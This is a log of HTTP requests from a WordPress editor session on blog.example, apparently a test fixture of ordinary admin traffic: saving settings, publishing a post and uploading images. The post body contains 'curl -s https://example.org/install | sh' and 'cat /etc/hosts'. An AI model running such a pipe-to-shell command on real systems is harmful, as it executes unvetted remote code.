{"method": "GET", "target": "/wp-admin/revision.php?revision=12", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203240"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=12", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": "compare%5B%5D=12%3A11&action=get-revision-diffs&post_id=11"}
{"method": "GET", "target": "/wp-admin/edit.php?post_type=wp_block", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203248"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-list-reusable-blocks,common,forms,admin-menu,dashboard,list-tables,edit,revisions,&load%5Bchunk_1%5D=media,themes,about,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,buttons,wp-auth-check,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 85", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=wp_block", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203249"], "body": "interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-wp_block&has_focus=true"}
{"method": "POST", "target": "/wp-admin/options-permalink.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 189", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Origin: http://blog.example", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": "_wpnonce=4c458d2a5d&_wp_http_referer=%2Fwp-admin%2Foptions-permalink.php&selection=%2F%25postname%25%2F&permalink_structure=%2F%25postname%25%2F&category_base=&tag_base=&submit=Save+Changes"}
{"method": "GET", "target": "/wp-admin/options-permalink.php?settings-updated=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://blog.example/wp-admin/options-permalink.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203250"], "body": ""}
{"method": "GET", "target": "/wp-login.php?redirect_to=http%3A%2F%2Fblog.example%2Fwp-admin%2F", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203251"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=13&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13/autosaves?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 968", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"status\":\"draft\",\"title\":\"Bob's first post: a guide\",\"excerpt\":\"a short summary\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\",\"meta\":{\"footnotes\":\"\"}}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 896", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"slug\":\"bobs-first-post\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-json/wp/v2/templates/lookup?slug=single-post-bobs-first-post-2&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 123", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "data%5Bwp-refresh-post-lock%5D%5Bpost_id%5D=13&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=post&has_focus=true"}
{"method": "POST", "target": "/wp-cron.php?doing_wp_cron=1794203288.2769880294799804687500", "headers": ["Host: blog.example", "User-Agent: WordPress/7.1.4; http://blog.example", "Accept: */*", "Accept-Encoding: deflate, gzip, br, zstd", "Connection: close", "Content-Length: 0", "Content-Type: application/x-www-form-urlencoded"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/posts/13?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 890", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=13&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": "{\"id\":13,\"status\":\"publish\",\"content\":\"<!-- wp:paragraph -->\\n<p>It's a post about the Union station and how to select a table from the catalog &amp; more. Visit <a href=\\\"https://example.com/a?b=1&c=2\\\">the page</a>.</p>\\n<!-- /wp:paragraph -->\\n\\n<!-- wp:code -->\\n<pre class=\\\"wp-block-code\\\"><code>curl -s https://example.org/install | sh\\nSELECT name FROM users WHERE id = 1;\\ncat /etc/hosts</code></pre>\\n<!-- /wp:code -->\\n\\n<!-- wp:html -->\\n<iframe src=\\\"https://example.org/embed\\\" onload=\\\"console.log('ok')\\\"></iframe>\\n<script>document.title = 'x';</script>\\n<!-- /wp:html -->\\n\\n<!-- wp:shortcode -->\\n[gallery ids=\\\"1,2\\\"]\\n<!-- /wp:shortcode -->\\n\\n<!-- wp:image {\\\"id\\\":5,\\\"sizeSlug\\\":\\\"large\\\"} -->\\n<figure class=\\\"wp-block-image size-large\\\"><img src=\\\"http://blog.example/wp-content/uploads/2026/11/a.png\\\" alt=\\\"\\\" class=\\\"wp-image-5\\\"/></figure>\\n<!-- /wp:image -->\"}"}
{"method": "GET", "target": "/wp-admin/post.php?post=13&action=edit", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203276"], "body": ""}
{"method": "GET", "target": "/?p=13", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/bobs-first-post-2/", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/?p=13&preview=true", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "GET", "target": "/wp-admin/revision.php?revision=14", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203292"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 58", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/revision.php?revision=14", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203301"], "body": "compare%5B%5D=14%3A13&action=get-revision-diffs&post_id=13"}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=15&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203303"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=17&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 415", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaeabRwojB6M1Wog", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"file\"; filename=\"holiday-photo.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryAaeabRwojB6M1Wog--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/18?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/media?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 409", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZ3NQqb5rHLeqDitl", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"file\"; filename=\"bin-day.png\"\r\nContent-Type: image/png\r\n\r\nimage data\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBob's picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl\r\nContent-Disposition: form-data; name=\"alt_text\"\r\n\r\na small picture\r\n------WebKitFormBoundaryZ3NQqb5rHLeqDitl--\r\n"}
{"method": "POST", "target": "/wp-json/wp/v2/media/19?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 53", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203308"], "body": "{\"caption\":\"A caption\",\"description\":\"A description\"}"}
